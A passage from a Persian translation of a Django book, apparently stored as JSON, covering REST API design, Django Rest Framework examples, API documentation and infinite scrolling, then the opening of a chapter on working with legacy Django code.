معمولاً آن‌ها به یک اسم اشاره میکنند تا یک فعل.\n- **عملیات‌های درخواست(Request operations)**: عملیات روی منابع عموماً از عملیات‌های استاندارد HTTP مانند GET, PUT, POST, OPTION و DELETE استفاده می‌شود. آن‌ها از همان قوانین به خوبی پیروی می‌کنند مثلا GET پوچ است(بدون عوارض جانبی است) و PUT/DELETE ناتوان‌اند(مهم نیست چندبار آن‌ها را اجرا شوند همیشه همان نتیجه را می‌گیرید).\n- **کدهای خطا(Error codes)**: REST API از کدهای خطای HTTP استاندارد مانند 200(موفق)، 300(ریدایرکت) و 400(خطای کاربر) استفاده می‌کند.\n- **هایپرمدیا(Hypermedia)**: جواب‌ها معمولاً حاوی هایپرلینک یا URIها به دیگر اقدامات(Action) و منابع برای انعطاف پذیری و قابل کشف شدن است. به طور مثال از هایپرلینک‌ها برای صفحه‌بندی(Pagination) یا دیتاهای با ساختار تو در تو استفاده می‌شود.\n\nپیشنهاد من به شما این خواهد بود که استفاده از APIتان را هر چه می‌توانید آسان کنید تا به صورت سختگیرانه از محدودیت‌های REST خالص پیروی کنید. خیلی از APIهای محبوب و شناخته شده آن‌ها را نقص می‌کنند. اگر REST طراحی کردن API از آن روش راحت‌تر است، از آن روش استفاده کنید.\n\n### طراحی API\n\nما یک استاندارد تنها برای REST API نداریم. هرچند در طول زمان تعداد زیادی APIهای خوب طراحی شده توسط کمپانی‌هایی مثل استرایپ، گیت‌هاب و ترلو به استاندارد‌هایی تبدیل شده‌اند که اکنون APIهای وب بر اساس آن طراحی می‌شوند. در اینجا ما چندین بهترین شیوه‌(best practice) را علاوه بر اصول طراحی که در بالا ذکر کردیم پوشش می‌دهیم. \n\n\n#### ورژن بندی کردن\n\nیک API مثل قراردادی بین سرور و کلاینت است. اگر تغییراتی در رابط(Interface) یا معمولا در سرور صورت بگیرد قرارداد فسخ شده است. هرچند API نیاز دارد که تکامل یابد و ویژگی‌های جدیدی به آن اضافه شود و ویژگی‌های قدیمی آن منسوخ شوند.\n\nاز این رو ورژن بندی کردن API تصمیم کلیدی طراحی، در چرخه زندگی آن است که باید زود گرفته شود. چندین پیاده‌سازی محبوب ورژن بندی API وجود دارد:\n\n- **ورژن بندی کردن URI(URI versioning)**: پیشوندی کردن URI با شماره ورژن مانند <http://example.com/v3/superheroes/3>. این روش محبوبی است اما اصول را نقض می‌کند که هر منبع دارای یک URI منحصر به فرد در سراسر ورژن‌ها است.\n- **ورژن بندی پرس و جوی رشته‌ای(Query String versioning)**: اضافه کردن یک پرس و جوی رشته‌ای مخصوص هر ورژن به URI مانند <http://example.com/superheroes/3?version=3> . به طور فنی، URI در سراسر ورژن‌ها یکی است اما چنین پاسخ‌هایی در پروکسی‌های وب قدیمی‌تر کش نخواهند شد در نتیجه عملکردی تحقیرآمیز دارد.\n- **ورژن بندی هدر سفارشی(Custom Header versioning)**: شامل یک هدر سفارشی در درخواست شما. به عنوان مثال نمونه زیر را در نظر بگیرید\n```\n    GET /superheroes/3 HTTP/1.1\n    Host: example.com\n    Accept: application/json\n    api-version: 3\n```\nدر حالی که این مورد ممکنه به اصول REST نزدیکتر باشه و تمیزتر ولی این میتواند در تست بعضی از کلاینت‌های وب مثل مرورگر سخت‌تر باشد. هدرهای سفارشی دارای مشخصات بیرونی(outside spec) هستند و ممکن است مشکلات پنهانی را ایجاد کنند و این سبب میشود که دیباگ کردن آن‌ها سخت‌تر باشد.\n- **ورژن بندی نوع رسانه‌ای(Media Type versioning)**: استفاده از هدر Accept برای مشخص کردن نوع مدیا سفارشی شده که صریحاً در این ورژن ذکر شده است. مثال زیر را در نظر بگیرید:\n```\n    GET /superheroes/3 HTTP/1.1\n    Host: example.com\n    Accept: application/vnd.superhero-api.v3+json\n```\nاین در حالی است که ممکن است مشکلات تست را نیز داشته باشد مانند هدر سفارشی. این افتخاری است که این روش استاندارد است. ممکن است این خالص‌ترین مدل ورژن بندی REST باشد.\n\nتصمیمات طراحی دیگری نیز وجود دارد، مثل اینکه کدام طرح‌های ورژن بندی را باید دنبال کنید؟ باید یک افزایش عددی ساده باشد(مانند مثال‌های قبلی)، ورژن بندی مفهومی(مثل فیسبوک)، یا تاریخ انتشار آن(تویلیو)؟ این کاملاً شبیه تمرین ورژن بندی محصول است.\n\nسازگاری رو به عقب نیز تصمیم مهمی در چرخه زندگی API است. اینکه چند ورژن قدیمی را نگه دارید؟ اینکه چه چیزی تغییر جزئی یا کلی ورژن را تعیین می‌کند؟ اینکه چگونه ورژن‌های قدیمی‌تر را منسوخ کنیم؟\n\nبهترین کار این که یک سیاست ارتباطی شفاف داشته باشید و همواره از آن پیروی کنید.\n\n## فریمورک رست جنگو\nساختن API وب سایتتان ممکن است با استفاده از الگوی سرویس‌ها که در [فصل 3]('../../../03-%20Models/README.md)، *مدل‌ها* یاد گرفتیم بی‌اهمیت به نظر برسد. هرچند APIهای دنیای واقعی نیازمند عملکردهای خیلی خیلی بیشتر است، از جمله اسناد مروری وب(web browsable document)، احراز هویت(authentications)، سریالایز کردن(serialization) و throttling؛ بهتره که از ابزاری مثل **فریمورک رست جنگو(Django Rest framework(DRF))** استفاده کنید.\n\nفریمورک رست جنگو(DRF) محبوب‌ترین ابزار API برای جنگو است. آن خیلی با معماری جنگو مناسب است و از چندین مفهوم(concept) آشنا استفاده مجدد میکند از جمله ویوهای عمومی و مدل فرم‌ها. خارج از بحث، API قابل استفاده و قابل دسترس با یک مرورگر وب معمولی است که تست کردن و پیدا کردن مستندات را برای توسعه دهنده‌ها آسان‌تر می‌کند. \n\n### بهتر کردن API پست‌های عمومی\nمثال الگوی سرویس‌ها را بخاطر دارید، جایی که یک سرویس ساختیم که کل آخرین پست‌های عمومی بازیابی میکرد؟ حالا ما میخواهیم با ویژگی‌هایی که ارائه شده بود، به وسیله DRF آن را مجدداً بسازیم.\n\nدر وهله اول، DRF را نصب می‌کنیم و آن را به ```INSTALLED_APPS``` اضافه می‌کنیم. بعد مدل مجوزها و سطح دسترسی‌ها را در ```setting.py``` ذکر می‌کنیم.\n```python\n    # Django Rest Framework settings\n    REST_FRAMEWORK = {\n    # Allow unauthenticated access to public content\n        'DEFAULT_PERMISSION_CLASSES': [\n            'rest_framework.permissions.AllowAny'\n        ]\n    }\n```\nحتی اگر چه ما اجازه دسترسی نامحدود(```AllowAny```) را داده‌ایم. قویاً توصیه میشود که محدودترین سیاست دسترسی را برای امنیت APIتان انتخاب کنید.\n\nفریمورک رست جنگو(DRF) به ما اجازه انتخاب تنوع وسیعی از سیاست‌های دسترسی API را میدهد از جمله اجازه فقط برای کاربران احراز هویت شده(```IsAuthenticated```) یا اجازه دسترسی فقط خواندن کاربران احراز هویت نشده را می‌دهد(```DjangoModelPermissionsOrAnonReadOnly```) و بیشتر. سطح دسترسی‌های خیلی جرئی‌تری نیز می‌توانند تعریف شوند.\n\nاز آنجایی که ما قبلاً مدل ```Post``` و مدیر مدل(model manager) را برای پست‌های عمومی تعریف کرده‌ایم، می‌توانیم سریالایزر پست(Post Serializer) را بسازیم. سریالایزرها برای تبدیل اشیاء ساختار یافته استفاده می‌کنند از جمله نمونه‌های مدل یا مجموعه‌های پرس و جو(Queryset) به فرمت‌های مثل JSON یا XML که بتوانند بر روی سیم اینترنت ارسال شوند. آن‌ها همچنین فرآیند معکوس این تبدیل شدن یعنی دیسریالایرز کردن هم انجام می‌دهند، اینکه فرمت JSON یا XML را به اشیاء ساختار یافته برگردانند.\n\nفایل جدیدی به نام ```viewschapter/serializers.py``` با محتوای زیر بسازید:\n\n```python\n    from rest_framework import serializers\n    from posts import models\n\n    class PostSerializer(serializers.ModelSerializer):\n        class Meta:\n            model = models.Post\n            fields = (\"posted_by_id\", \"message\")\n```\nما به صورت اعلامی کلاس ```serializers``` را با آدرس دادن به کلاس ```model``` و فیلدهای آن تعریف کرده‌ایم که نیاز به سریالایز و دیسریالایز شدن دارد. توجه کنید که چگونه به تعریف کردن ```ModelForm``` شباهت دارد.\n\nاین از قصد است مانند وب سایت‌هایی که بر پایه HTML هستند و نیاز دارند داده ورودی کاربر به فرم‌ها را اعتبارسنجی کنند. APIهای وب نیز به یک دیسریالایزر نیاز دارد تا داده‌هایی که به API ارسال می‌شود را اعتبارسنجی کند. دقیقاً همانطور که فرم‌ها به مدل‌ها نگاشته می‌شوند، ```ModelForms``` نامیده می‌شوند، سریالایزرها(```Serializers```) نیز که به مدل‌ها نگاشته می‌شوند مدل سریالایزر(```ModelSerializers```) نامیده می‌شوند.\n\nبعداً ما ویو APIمان را در فایل جدایی به نام ```viewschapter/apiviews.py``` تعریف میکنیم:\n\n```python\n    from rest_framework.views import APIView\n    from rest_framework.response import Response\n\n    from posts import models\n    from .serializers import PostSerializer\n\n\n    class PublicPostList(APIView):\n        \"\"\"\n        Return the most recent public posts by all users\n        \"\"\"\n        def get(self, request):\n            msgs = models.Post.objects.public_posts()[:5]\n            data = PostSerializer(msgs, many=True).data\n            return Response(data)\n```\n\nمتودهای کلاس ```APIView``` پارامترهای متفاوتی استفاده می‌کنند و نوع داده‌ای متفاوتی در مقایسه با ```View``` جنگو برمی‌گردانند. رست فریمورک نمونه‌های ```Request``` را میگیرد و جنگو به جای آن نمونه‌های ```HttpRequest```. همچنین رست فریمورک نمونه‌های ```Response``` را برمی‌گرداند در مقابل جنگو نمونه‌های ```HttpResponse```.\n\nدر نهایت، ما این را در اپمان سیم‌کشی میکنیم ```viewschapter/urls.py```:\n\n```python\npath('api/public/',\n     apiviews.PublicPostList.as_view(), name=\"api_public\"),\n```\nحالا اگر آدرس <http://127.0.0.1:8000/api/public/> یعنی آخرین نقطه API را در مرورگر وبتان ببینید، این صفحه معرکه را می‌بینید:\n\n![اولین پاسخ API عمومی ساخته شده](../09-%20Creating%20APIs/images/img1.jpg)\n\nاین را مقایسه کنید با فصل ویو که یک رشته JSON خالی را به شما نشان میداد. ما می‌توانیم اسم این اندپوینت API و توضیحات آن را ببینیم(از رشته مستندات(docstring) کلاس ```APIView```)، همچنین هدر درخواست و همچنین محموله JSON(با سینتکس مشخص شده).\n\n#### پنهان کردن IDها\nهمه چیز API عالی به نظر می‌رسد به جز ریسک امنیتی افشا شدن کلید اصلی مدل کاربر به صورت عمومی. خوشبختانه سریالایزرها(```serializers```) میتوانند فیلدهای موجود را با اضافه کردن فیلدهایی که در مدل موجود نیستند، تغییر دهند مانند کد زیر:\n\n```python\n    class PostSerializer(serializers.ModelSerializer):\n        posted_by = serializers.SerializerMethodField()\n\n        def get_posted_by(self, obj):\n            return obj.posted_by.username\n\n        class Meta:\n            model = models.Post\n            fields = (\"posted_by\", \"message\",)\n```\n\nفیلد ```SerializerMethodField```، فیلدی فقط خواندنی است که مقدار(value) را از متود کلاس(class method) میگیرد. به صورت پیش فرض این متود به صورت <get_<field_name نامگذاری می‌شود.\n\nحالا API به جای نمایش دادن کلید اصلی کاربران، پست‌ها را با نام کاربری برمی‌گرداند. همانطور که در تصویر زیر نیز مشخص است:\n\n![نمایش پست‌ها به همراه نام کاربری به جای نشان دادن کلید اصلی کاربر](../09-%20Creating%20APIs/images/img2.jpg)\n\nاگر شما یک خالص نویس REST هستید ممکن است اشاره کنید که به جای نام کاربری می‌توانیم منابع ```User``` را هایپرلینک کنیم. شما ممکن است بخواهید این را پیاده‌سازی کنید اگر کاربرهایتان با اینکه جزئیات حسابشان با API عمومی به اشتراک گذاشته شود راحت باشند.\n\n\n## الگوهای API\n\nدر این قسمت ما چندین مشکل طراحی آشنا را که هنگام کار با APIها به آن بر می‌خوریم پوشش می‌دهیم.\n\n### الگو - رابط قابل مرور انسان\n\n**مسئله**: دیدن API در مرورگر تجربه دلخراشی است که به پذیرشی ضعیف منتهی می‌شود.\n\n**راه حل**: از فرصت‌ها برای بهبود بخشیدن رابط قابل مرور انسانی APIتان استفاده کنید.\n\n#### جزئیات مسئله\n\nاگر چه APIها به وسیله کدها طراحی میشوند که مصرف شوند ولی اولین کسانی که با آن تعامل میکنند انسان‌ها هستند. هنگام پیاده سازی کار در صورتی که پارامترهای صحیحی به آن فرستاده باشید، API ممکن است که پاسخ صحیحی به شما دهد ولی بدون مستندات مناسب API میتواند قابل استفاده نباشد.\n\nبدون مستند بودن APIها میتواند همکاری  تیم‌های مختلف با اپلیکیشن شما را کاهش دهد. اغلب منابع لازم مثل مرورهای مفهومی(conceptual overviews) و راهنماهای شروع پیدا نمی‌شود و این منجر به یک تجربه توسعه دهندگی خسته کننده می‌شود.\n\nدر نهایت از آنجایی که اکثر APIهای وب قابل دسترس و قابل استفاده با مرورگرهای وب هستند، توانایی اینکه در داخل مستندات بتوانند با API تعامل و کار کنند بسیار مفید و کمک کننده است. حتی اگر رفتاری که در داکیومنت است متفاوت با کد باشد، توانایی تلاش و تایید رفتار در مرورگر به فرآیند تست کردن کمک میکند.\n\n#### حل مسئله\n\nفریمورک رست جنگو به صورت پیش ساخته از ساخت رابط قابل مرور انسانی(human browsable interface) پشتیبانی می‌کند که مشکلات ذکر شده در این الگو را برطرف می‌کند. مشاهده اندپوینت‌های API با مرورگر، مستنداتی از آن اندپوینت به همراه پشتیبانی کردن عملیات‌های HTTP و توانایی تعامل و کار با آن را می‌سازد.\n\nمستندات API شما میتواند خیلی جامع‌تر و تعاملی‌تر باشد وقتی که از Swagger یا ابزار ```coreapi``` خود DRF استفاده می‌کنید. Swagger توانایی این را دارد که بدون دسترسی به سورس کد شما، تمام اندپوینت‌های API اپلیکیشن شما را پیدا کند. همچنین توانایی این را دارد که با ارسال درخواست و دریافت پاسخ به اندپوینت‌ها در فرآیند تست کردن استفاده شود.\n\nاز سوی دیگر شما می‌توانید به راحتی از ```coreapi``` با اضافه کردن یک خط در ```urls.py``` استفاده کنید که مثال آن را در زیر می‌بینید:\n\n```python\n    from rest_framework.documentation import include_docs_urls\n\n    urlpatterns = [\n        path('api-docs/', include_docs_urls(title='Superbook API')),\n    ]\n```\n\nاگر به آدرس قبلی در مرورگرتان مراجعه کنید شما مستندات API را که آماده استفاده کردن هستند را می‌بینید:\n\n![مستدات API با coreapi فریمورک رست جنگو](../09-%20Creating%20APIs/images/img3.jpg)\n\nبه خاطر داشته باشید که مستندات API شامل مثال کد به زبان پایتون است(و دیگر زبان‌ها)\n\nبعضی از بهترین روش‌ها برای زمان ساخت مستندات API در زیر لیست شده‌اند:\n\n- **سوار شدن راحت و سریع(Easy and quick onboarding)**: آسان ساختن فرآیند استفاده برای توسعه دهنده‌ها با مثال‌ها و آموزش‌های آماده اجرا و آماده استفاده. به طور ایده آل فهمیدن API شما و نحوه استفاده از آن نباید بیشتر از پنج دقیقه وقت از توسعه دهنده بگیرد.\n- **جعبه شنی تعاملی(Interactive sandbox)**: نمایش اعتباری دموی مستندات برای کاربر که حاوی داده‌های نمونه باشد و هنگام کار با آن بتواند با آن تعامل کند خیلی بهتر از این است که آن را خالی نگه داشته باشید.\n- **فراتر از اندپوینت‌ها رفتن(Go beyond endpoints)**: اطمینان حاصل کنید که تمام موضوعات ضروری را پوشش داده باشید به طور مثال چگونه بدست آوردن توکن‌های احراز هویت یا قیمت‌ها و همچنین مفاهیم سطح بالاتر.\n\n\nمستندات خوب یک API برای پذیرفته شدن خیلی مهم است و حتی توانایی این را دارد که بر یک API ضعیف غلبه کند پس بنابراین ارزش صرف وقت و تلاش را دارد.\n\n### الگو - پیمایش کردن نامحدود\n\n**مسئله**: محدود شدن محتوای ویوهای صفحه بندی شده برای کاربران مصرف کننده\n\n**راه حل**: کاربران را با استفاده از صفحات با اسکرول نامحدود به صورت طولانی مدت درگیر کنید\n\n#### جزئیات مسئله\n\nملاقات کنندگان گاه به گاه شما، اشتیاق شدیدی به مصرف محتوای زیادی مثل فید اخبار اجتماعی یا ترندهای لباس دارند. هرچند آن‌ها متوجه این هستند که کلیک کردن روی یک لینک برای رفتن به صفحه بعدی چقدر آزاردهنده است. کاربران موبایل حتی ممکن است این تجربه رو منزجرکننده‌تر ببینند چون آنها پیمایش کردن در لیست بزرگتر را شهودی می‌بینند.\n\n#### حل مسئله\n\nبه طور سنتی یک صفحه حاوی حاوی داده‌های زیادی است که صفحه بندی شده تا سرعت بارگذاری آن کاهش بیابد و در نتیجه تجربه کاربری بهتری را خلق کند. پس تکنولوژی **Asynchronous JavaScript And XML(AJAX)** توانایی بارگذاری محتوا را به صورت ناهمزمان  به مرورگرها می‌دهد. \n\nبدین ترتیب الگوی طراحی پیمایش نامحدود متولد شد که زمانی که کاربر به انتهای صفحه رسید محتوای جدید در ادامه به آن صفحه اضافه شود. این شیوه مرسومی در وب سایت‌های شبکه‌های اجتماعی از جمله فیسبوک یا توئیتر است که باعث افزایش درگیر کردن کاربر با کمترین تعامل می‌شود.\n\nهرچند همۀ کاربران صفحات با پیمایش بی نهایت را یک بهبود نمیدانند. آن‌ها وقتی که دنبال یک محتوای به خصوص در یک صفحه طولانی می‌گردند  می‌توانند سرگردان شوند. پیاده سازی ضعیف می‌تواند عملکرد دکمه **برگشتن به عقب** مرورگر را که باید شما را به همانجا در صفحه قبلی برگرداند مختل کند.\n\nتوصیه‌های ما در زیر آمده است:\n\n- توجه کردن به جاوا اسکریپت برای رویداد ```پیمایش``` تا زمانی که به آن علامت قطعی رسیده باشد.\n- زمانی که به علامت قطعی و معین شده رسید، لینک صفحه بعدی درخواست ناهمزمان(AJAX) را بدهد.\n- لینک باید توسط سرویس جنگو یا REST API مدیریت شود؛ و صفحه مناسب و لینک صفحه بعدی را برگرداند.\n- محتوای جدید به انتهای صفحه اضافه گردد.\n- به صورت اختیاری می‌توانید از ```pushState``` API مرورگر برای بروز کردن URL به آخرین صفحه بارگذاری شده استفاده کنید.\n\nاساسا ما به بک-اند AJAX که توسط جنگو ارائه شده نیاز داریم که صفحه محتوای مناسب را تدارک ببیند. ```ListView``` به همراه پارامتر ```paginate_by``` که تعداد شئ در هر صفحه را مشخص می‌کند ممکن است ویو عمومی مناسبی برای این مورد باشد.\n\nپیشمایش نامحدود نکته چشمگیری است که اگر خوب اجرایش کنید حس خیلی خوبی به کاربران می‌دهد. هرچند نیازمند این است که آزمایش کاربر دقیقی صورت گیرد که آیا این محتوا مناسب محتوای نمایش داده شده به کاربر است یا خیر. به طور مثال گوگل از پیشمایش نامحدود برای بخش جستجوی تصاویر گوگل استفاده می‌کند ولی برای جستجوهای عادی از صفحه بندی، پس ممکن است این تکنیک برای همه سناریوها مناسب نباشد.\n\n## خلاصه\n\nدر این فصل متوجه مفاهیم زیربنایی RESTful API شدیم و اینکه چرا مجبور نیستیم به شدت به همه آن پایند باشیم. همچنین به فریمورک رست جنگو نگاهی انداختیم و مثال خیلی ساده‌ای از اندپوینت API ساخته و از آن استفاده کردیم.\n\nدر فصل بعد، نگاهی به رویکرد سیستماتیک کار کردن با کدهای پایه‌ای جنگو می‌اندازیم و اینکه چگونه می‌توانیم نیازهای کلاینت‌ها را بهبود ببخشیم."
  },
  {
    "path": "10-Dealing-with-LegacyCode/README.md",
    "content": "# سرو کار داشتن با کد مورثی\n\nدر این فصل، ما در مورد موضوعات زیر صحبت خواهیم کرد:\n\n- یک کد اولیه جنگو را می خوانیم\n-\tبررسی اسناد مرتبط\n- تغییرات افزایشی در مقابل بازنویسی کامل\n- تست نوشتن قبل از ایجاد هر گونه تغییر\n- اتصال دیتابیس  موروثی\n\nوقتی از شما در خواست می شود تا به یک پروژه ملحق بشوید، هیجان انگیز به نظر میرسد. چرا که ابزارهای قدرتمند جدید و فناوری‌های پیشرفته احتمالا در انتظار شما است. اما با این حال، اغلب از شما درخواست می شود که با یک مجموعه ای از کدهای موجود که احتمالا قدیمی است کار کنید.\n\nدر تعبیری  منصفانه ، از پیدایش جنگو مدت زمان زیادی نمی گذرد. به هر حال، پروژه‌های نوشته شده برای نسخه‌های قدیمی جنگو به اندازه کافی متفاوت هستند که باعث نگرانی می‌شود. گاهی اوقات، داشتن همه کدهای منبع و اسناد مرتبط با آن شاید کافی نباشد.\n\nاگر از شما خواسته شد که محیط را دوباره ایجاد کنید ممکن است که لازم باشد تا شما با پیکربندی سیستم عامل، تنظیمات پایگاه داده و اجرای سرویس‌ها به صورت محلی و یا در بستر شبکه کار کنید. بخش های مختلفی برای انجام این پازل وجود دارد که ممکن است تعجب کنید که چطور و از کجا باید شروع کنید.\n\nپی بردن به اینکه در پروژه از چه نسخه ای از جنگو استفاده شده است یک نکته کلیدی است. با تکامل جنگو، همه چیز از ساختار پروژه پیش‌فرض گرفته تا بهترین روش‌های توصیه شده تغییر کرده است. بنابراین تشخیص اینکه از کدام نسخه جنگو استفاده شده است، یک بخش حیاتی در درک آن است.\n\n***تغییر نگهبانان***\n\nتیم superBook صبورانه روی کیسه‌های لوبیای کوتاه مسخره در اتاق تمرین نشسته و منتظر هارت بودند. او یک جلسه اضطراری حضوری تشکیل داده بود. هیچ کس بخش اضطراری را درک نکرد، زیرا حداقل سه ماه از شروع به کار آنها گذشته بود.\n\nخانم O با عجله در حالی که یک لیوان قهوه با طراحی بزرگ در یک دست داشت و در دست دیگر مشتی پرینت از چیزی که شبیه جدول زمانی پروژه بود وارد شد. او بدون اینکه به بالا نگاه کند، گفت: \"خیلی زمان نداریم، بنابراین مستقیماً به سر اصل مطلب می‌روم. با توجه به حملات هفته گذشته، هیئت مدیره تصمیم گرفته است که پروژه SuperBook سریعا به جمع بندی برسد و مهلت را تا پایان ماه آینده تعیین کرده است. سوالی هست؟\"\n\nبرد گفت: بسیار خب، هارت کجاست؟ خانم O مکث کرد، و پاسخ داد: \"خوب استعفا داد. او به عنوان رئیس امنیت فناوری اطلاعات مسئولیت اخلاقی رخنه محیطی <sup>[1](#footnote-1)</sup> را بر عهده گرفت.\" استیو که ظاهراً شوکه شده بود، سرش را تکان می داد. او ادامه داد: متاسفم، اما من به عنوان سرپرست SuperBook گمارده شده‌ام و باید اطمینان حاصل کنم که هیچ مانعی برای انجام پروژه تا موعد مقرر نداریم.\n\nیک ناله جمعی شنیده شد. خانم O که دلسرد نشد، یکی از برگه ها را گرفت و گفت، \"اینجا می گوید که ماژول بایگانی از راه دور در وضعیت ناقص بالاترین اولویت را دارد. من معتقدم که ایوان روی این موضوع کار می کند.\"\nایوان از انتهای اتاق گفت: \"درست است.\" او به دیگران لبخند زد: \"تقریباً آنجاست.\" خانم O از بالای لبه عینکش نگاه کرد و خیلی مؤدبانه لبخند زد.\n\nایوان از انتهای اتاق گفت: \"درست است.\" او به دیگران لبخند زد: \"تقریباً آنجاست.\" خانم O از بالای لبه عینکش نگاه کرد و خیلی مؤدبانه لبخند زد.\n\n\"با توجه به اینکه ما در حال حاضر یک بایگانی بسیار آزمایش شده و کارآمد در پایگاه کد سنتینل خود داریم، توصیه می کنم به جای ایجاد یک سیستم اضافی دیگر، از آن استفاده کنید.\"\n\nاستیو حرفش را قطع کرد، \"این کار خیلی اضافه‌ای است. ما می توانیم نسبت به بایگانی کننده قدیمی پیشرفت کنیم، نه؟ اگر خراب نیست، پس نیازی به اصلاح ندارد\". خانم O خیلی خلاصه پاسخ داد. برد با صدای بلندگفت  \"او دارد روی آن کار می کند\" \"در مورد همه کارهایی که قبلاً به پایان رسانده است؟\"\n\nخانم O با بی حوصلگی پرسید. \"ایوان، چه مقدار از کار را تا کنون تکمیل کرده ای؟\" او با حالت دفاعی پاسخ داد: «حدود 12 درصد». همه با ناباوری به او نگاه کردند.  او گفت : \"چی؟ این 12 درصد سخت‌ترین بخش کار بود.\"\n\nخانم O ادامه جلسه را با همین حالت ادامه داد. کار همه دوباره اولویت‌بندی شد و متناسب با مهلت زمانی جدید، فشرده شد. همانطور که کاغذهایش را برداشت، آماده رفتن بود، مکثی کرد و عینکش را برداشت و گفت:\n\n\n\"من به معنای واقعی کلمه می دانم که همه شما به چه چیزی فکر می کنید ، اما باید بدانید که ما هیچ انتخابی در مورد  تعیین ضرب الاجل نداشتیم. تنها چیزی که اکنون می توانم به شما بگویم این است که جهان برای رسیدن به آن تاریخ، به هر نحوی، روی شما حساب می کند\" عینکش را دوباره گذاشت و از اتاق خارج شد.\n\nایوان با صدای بلند با خود گفت: \"حتما کلاه فویل خود را خواهم آورد<sup>[2](#footnote-2)</sup>\n. \"\n\n\n## یافتن نسخه جنگو\n\nدر حالت ایده آل، هر پروژه ای یک فایل requirements.txt یا setup.py در دایرکتوری اصلی خود دارد، و داخل آن نسخه دقیق جنگو استفاده شده وجود دارد. \n \n `Django==1.5.9`\n\nشماره نسخه دقیقا ذکر شده است (به جای Django>=1.5.9) که به آن پینینگ می گویند. پینینگ هر بسته یک عمل خوب در نظر گرفته می‌شود، زیرا مشکلات پیش‌بینی نشده را کاهش می‌دهد و ساخت پروژه  شما را قطعی‌تر می‌کند.\n\n\nبه عنوان بهترین روش، ایجاد یک محیط کاملاً تکرارپذیر برای یک پروژه توصیه می شود. این محیط شامل داشتن یک فایل نیازمندی‌ها با تمام وابستگی‌های مختلف لیست شده(پینینگ) به همراه خروجی یک تابع هش است. –خروجی تابع هش بسته‌ها به این صورت است:\n\n`Django==1.5.9 --hash=sha256:2cf24dba5fb0a30e26e83b2ac5...`\n\nهش ها در برابر دستکاری از راه دور محافظت می کنند و نیاز به ایجاد سرورهای فهرست بسته خصوصی حاوی بسته های تایید شده را کاهش می دهند. متأسفانه، پایگاه‌های کد در دنیا واقعی هستند که در آن‌ها فایل requires.txt به‌روزرسانی نشده یا حتی اصلاً وجود ندارد. در چنین مواردی، برای یافتن نسخه دقیق باید علائم مختلف را بررسی کنید.\n\n## فعال سازی محیط مجازی\n\nدر بیشتر موارد، یک پروژه جنگو در یک محیط مجازی دیپلوی  می شود. هنگامی که محیط مجازی پروژه را پیدا کردید، می توانید آن را با رفتن به آن دایرکتوری و اجرای اسکریپت فعال شده برای سیستم عامل خود فعال کنید.\n\nبرای لینوکس، دستور به صورت زیر است:\n\n```bash\n$ source venv_path/bin/activate\n```\n\nهنگامی که محیط مجازی فعال شد، یک شل پایتون را راه اندازی کنید و نسخه جنگو را با دستورات زیر، همانطور که در زیر نشان داده شده است مشاهده خواهید کرد:\n\n```bash\n$ python\n>>> import django\n>>> print(django.get_version())\n1.5.9\n```\nنسخه جنگو استفاده شده در این مورد نسخه `1.5.9` است. همچنین، می‌توانید اسکریپت `manage.py` را در پروژه اجرا کنید تا خروجی مشابهی دریافت کنید:\n\n```bash\n$ python manage.py --version\n1.5.9\n```\nبا این حال، اگر سورس کد پروژه قدیمی به صورت دیپلوی نشده برای شما ارسال شده باشد، این گزینه در دسترس نخواهد بود. اگر محیط مجازی (و بسته ها) نیز گنجانده شده بود، می توانید به راحتی شماره نسخه (به شکل یک تاپل) را در فایل `__init__.py` دایرکتوری جنگو پیدا کنید. مثال داده شده را در نظر بگیرید:\n\n```bash\n$ cd envs/foo_env/lib/python2.7/site-packages/django\n$ cat __init__.py\nVERSION = (1, 5, 9, 'final', 0)\n...\n```\n\nاگر به کمک روش‌های ذکر شده موفق به یافتن نسخه جنگو نشدید، باید یادداشت‌های نسخه‌های منتشر شده قدیمی جنگو را مرور کنید تا تغییرات قابل شناسایی را تعیین کنید (به عنوان مثال، تنظیم `AUTH_PROFILE_MODULE` از نسخه 1.5 منسوخ شده است) و آنها را با کد خود مطابقت دهید. هنگامی که نسخه صحیح جنگو را مشخص کردید، می توانید به سراغ تجزیه و تحلیل کد بروید.\n\nیکی از ابزارهای جدید بسته‌بندی پایتون [Pipenv](https://docs.pipenv.org/) است. اما ،[ به طور رسمی توصیه شده است](https://packaging.python.org/tutorials/managing-dependencies/#installing-pipenv) چرا که بسیاری از این مشکلات را حل می‌کند. این ابزار عملکرد `pip` و `virtualenv` را با هم ترکیب می کند به طوری که وقتی یک بسته را نصب می کنید، فایل مورد نیاز آن (به نام pipenv) را به طور خودکار به روز می کند نکته مهم آخر اینکه، بیلدهای تکرار پذیر با استفاده از یک فایل `Pipenv.lock`، که کاملاً پین شده و شامل هش است، فعال می‌کند.\n\n## فایل ها کجا هستند؟ این PHP نیست\n\nیکی از سخت‌ترین تصورها برای عادت کردن (مخصوصاً اگر اهل دنیای PHP یا ASP.NET هستید) این است که فایل‌های منبع در دایرکتوری ریشه پوشه وب سرور شما( که معمولاً `wwwroot` یا `public_html` نامیده می‌شود) قرار نگیرند. علاوه بر این، هیچ رابطه مستقیمی بین ساختار دایرکتوری کد و ساختار URL وب سایت وجود ندارد.\n\nدر واقع، متوجه خواهید شد که کد منبع وب سایت جنگو شما در یک مسیر مبهم مانند `/opt/webapps/my-django-app` ذخیره شده است. چرا اینطور هست؟ در میان بسیاری از دلایل خوب، انتقال داده های محرمانه خود به خارج از ریشه وب عمومی شما اغلب ایمن تر است. به این ترتیب، یک خزنده وب نمی تواند به طور تصادفی به لیست کد منبع شما برخورد کند.\n\nهمانطور که در `فصل 13`(آمادگی برای محیط پروداکشن) خواهید خواند، محل کد منبع را می توان با بررسی فایل پیکربندی وب سرور خود پیدا نمایید. در اینجا، متغیر محیطی `DJANGO_SETTINGS_MODULE` را می‌بینید که روی مسیر ماژول تنظیم شده است، یا درخواست را به سرور WSGI ارسال می‌کند که برای اشاره به فایل `project.wsgi` شما پیکربندی خواهد شد.\n\n## شروع با urls.py\n\nحتی اگر به کل کد منبع یک سایت جنگو دسترسی داشته باشید، فهمیدن نحوه عملکرد آن در برنامه های مختلف می تواند دشوار باشد. اغلب، بهتر است از `URLconf` واقع در فایل `urls.py` شروع کنید، زیرا به معنای واقعی کلمه یک نقشه است که هر درخواست را به نماهای مربوطه مرتبط می کند.\n\n\nبا برنامه‌های معمولی پایتون، من اغلب از ابتدای اجرای آن شروع به خواندن می‌کنم – مثلاً از ماژول اصلی سطح بالا یا هرجا که اصطلاح چک `__main__` شروع می‌شود. در مورد برنامه‌های جنگو، من معمولاً با `urls.py` شروع می‌کنم زیرا دنبال کردن جریان 